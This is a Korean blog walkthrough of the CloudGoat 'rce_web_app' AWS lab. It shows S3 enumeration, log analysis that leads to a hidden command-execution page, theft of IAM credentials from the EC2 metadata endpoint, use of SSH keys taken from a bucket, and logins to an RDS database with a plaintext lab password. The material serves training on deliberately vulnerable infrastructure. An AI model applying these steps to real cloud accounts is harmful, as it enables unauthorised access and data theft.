[CloudGoat] 6. rce_web_app
이것저것/Cloud

[CloudGoat] 6. rce_web_app

# Start

[+] start.txt

  • lara와 mcduck에 대한 키를 확인할 수 있다.

[+] goal

Find a secret stored in the RDS database.

 

이번 문제는 문제 속 문제랄까.. 1-(1), 1-(2)와 같은 형태로 되어있다.


# Exploit scenario - (1)

step1. configure

$ aws configure --profile Lara

$ aws iam list-user-policies --user-name lara --profile Lara
$ aws iam list-attached-user-policies --user-name lara --profile Lara
$ aws iam list-roles --profile Lara

  • 현재 사용자에게는 policy와 role을 열람할 권한이 없다.

step2. s3 bucket 

Lara에 대한 정보를 더 얻을 수 없는 상황이기 때문에 이번에는 s3 bucket에 대해 찾아봤다.

$ aws s3 ls --profile Lara

  • 현재 사용자에게 bucket들을 나열할 수 있는 권한이 있는 것을 확인할 수 있다.
$ aws s3 ls cg-keystore-s3-bucket-rce-web-app-cgid4zq7fx8zhx --profile Lara
$ aws s3 ls cg-logs-s3-bucket-rce-web-app-cgid4zq7fx8zhx --profile Lara
$ aws s3 ls cg-secret-s3-bucket-rce-web-app-cgid4zq7fx8zhx --profile Lara

  • bucket들의 내용을 하나씩 출력해봤을 때 실제로 접근해서 내용을 출력할 수 있는 버킷은 "cg-logs-s3-bucket-rce-web-app-cgid4zq7fx8zhx" 뿐이다.
$ aws s3 ls s3://cg-logs-s3-bucket-rce-web-app-cgid4zq7fx8zhx --recursive --profile Lara

  • ~~.log 파일이 있는 것을 볼 수 있다. 

step3. analyze the log file

$ aws s3 cp s3://<log bucket>/cg-lb-logs/AWSLogs/356473621289/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log ./ --profile Lara

  • log 파일을 현 위치로 다운로드(복사)한다.
  • cat 명령으로 이 파일의 내용들을 모두 출력해서 볼 수 있지만 현재의 상태로는 분석이 어렵다.
$ aws elbv2 describe-load-balancers --region us-east-1 --profile Lara

 

load balancer의 DNS 로 들어가보면 위와 같은 창이 뜬다!

즉 이 URL이 load balancer url인 것을 알 수 있다. 더 나아가서 이 url이 secret admin URL이 될 수 있다고 추측할 수 있다.

앞에서 다운받은 로그파일에서 "html" 확장자에 대한 로그만 출력했다.

여기에 나온 html 전체 url으로 들어가면 아무것도 뜨지 않는다..

이 때 앞서 찾은 load balancer url을 활용한다.

http://[load-balancer-url]/mkja1xijqf0abo1h9glg.html

command를 입력할 수 있는 창이 뜬다.

step4. secret URL 🏹 RCE

  • 현재 web application이 root 권한으로 실행 중인 것을 알 수 있다.
curl ifconfig.co

  • 현재 web application이 구동 중인 public IP를 알 수 있다.
  • 다시 살펴보면 앞서 찾았던 EC2 인스턴스와 같은 IP인 것을 알 수 있다.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials

  • ec2_ssrf에서 풀었던 것과 같이 명령어를 줘본다.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgid4zq7fx8zhx

curl http://169.254.169.254/latest/user-data

psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-rce-web-app-cgid4zq7fx8zhx.c6panuvd7ek5.us-east-1.rds.amazonaws.com:5432/cloudgoat -c "\dt"
  • psql으로 database에 연결하고 "-c" 옵션을 주면 그 뒤에 database에 대한 명령을 추가할 수 있다.

psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-rce-web-app-cgid4zq7fx8zhx.c6panuvd7ek5.us-east-1.rds.amazonaws.com:5432/cloudgoat -c "select * from sensitive_information"


# Exploit - (2) McDuck

step1. configure

$ aws configure --profile McDuck

step2. s3 bucket

$ aws s3 ls --profile McDuck

$ aws s3 ls s3://[s3 bucket] --recursive --profile McDuck

  • Lara와 달리 이번에는 keystore bucket에 대한 접근권한이 허용되어 있어 SSH key들을 확인할 수 있다.
$ aws s3 cp s3://cg-keystore-s3-bucket-rce-web-app-cgid4zq7fx8zhx/cloudgoat. --profile McDuck
$ aws s3 cp s3://cg-keystore-s3-bucket-rce-web-app-cgid4zq7fx8zhx/cloudgoat.pub . --profile McDuck

  • 'cloudgoat'와 'cloudgoat.pub' 파일을 현재 디렉터리로 복사(다운로드)한다.

step3. EC2

$ aws ec2 describe-instances --profile McDuck

  • public IP가 같고, ssh 연결이 가능한 것을 확인했다.

step4. SSH connect

$ ssh -i cloudgoat ubuntu@34.205.87.137

$ sudo apt-get install awscli
$ aws s3 ls
$ aws s3 ls s3://<buckets>

  • 이제는 secret bucket까지 열람할 수 있는 권한을 가지게 되었다.
  • secret s3 bucket 경로에 저장된 db.txt를 다운로드(복사)받는다.
$ aws s3 cp s3://cg-secret-s3-bucket-rce-web-app-cgid4zq7fx8zhx/db.txt .

step5. database (RDS)

$ cat db.txt

Amazon RDS
= Relational Database Service
AWS 클라우드에서 관계형 데이터베이스를 더 쉽게 설치, 운영 및 확장할 수 있도록 하는 웹 서비스
- https://docs.aws.amazon.com/ko_kr/AmazonRDS/latest/UserGuide/Welcome.html
$ aws rds describe-db-instances --region us-east-1

  • rds를 이용해 인스턴스의 데이터베이스 정보를 출력할 수 있다.
$ psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-rce-web-app-cgid4zq7fx8zhx.c6panuvd7ek5.us-east-1.rds.amazonaws.com:5432/cloudgoat

  • cgadmin 계정으로 database에 로그인할 수 있다.
    • '\dt': 관계형 데이터베이스의 관계들(relations)을 테이블 형태로 출력한다.
    • "sensitive_information"이라는 테이블이 존재하는 것을 확인할 수 있고, "select * from"을 통해 전체를 출력해보면 위와 같이 "Super-secret-passcode"를 확인할 수 있게 된다.
    • '\q': database 환경에서 나올 수 있다.

# Analyze

  • 중요 정보들을 담은 파일의 이름이 난독화되어 있지 않고 모두 직관적으로 알아 볼 수 있도록 되어있다.

Lara

  • s3 bucket 중 log 를 남기는 파일에 대한 접근 권한이 허용되어 있다. 로그 파일 내용을 읽고 분석할 수 있기 때문에 이 과정에서 정보유출이 발생할 수 있다.
  • 이 로그를 분석해보면 root 권한을 가진 web application에 대한 정보를 제공한다. 
  • root 권한을 가진 web application에서 자유롭게 EC2 인스턴스의 정보를 가져올 수 있고 최종적으로 super secret keyword도 가져올 수 있다.

McDuck

  • SSH key를 사용자가 접근할 수 있는 s3 bucket에 저장하고 있다.
  • 뿐만 아니라 db에 대한 민감한 정보까지 모두 쉽게 출력해 볼 수 있도록 되어 있다.
  • 이에 따라 공격자가 EC2 인스턴스에 SSH 연결을 할 수 있게 된다.
  • ssh 연결을 하고 나면 처음엔 볼 수 없었던 s3 bucket의 내용도 확인할 수 있게 된다.

 

SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] ecs_efs_attack  (0) 2021.08.19
[CloudGoat] codebuild_secrets  (0) 2021.08.19
[CloudGoat] 5. ec2_ssrf  (0) 2021.08.17
[CloudGoat] 4. iam_privesc_by_attachment  (0) 2021.08.17
[CloudGoat] 3. cloud_breach_s3  (0) 2021.08.16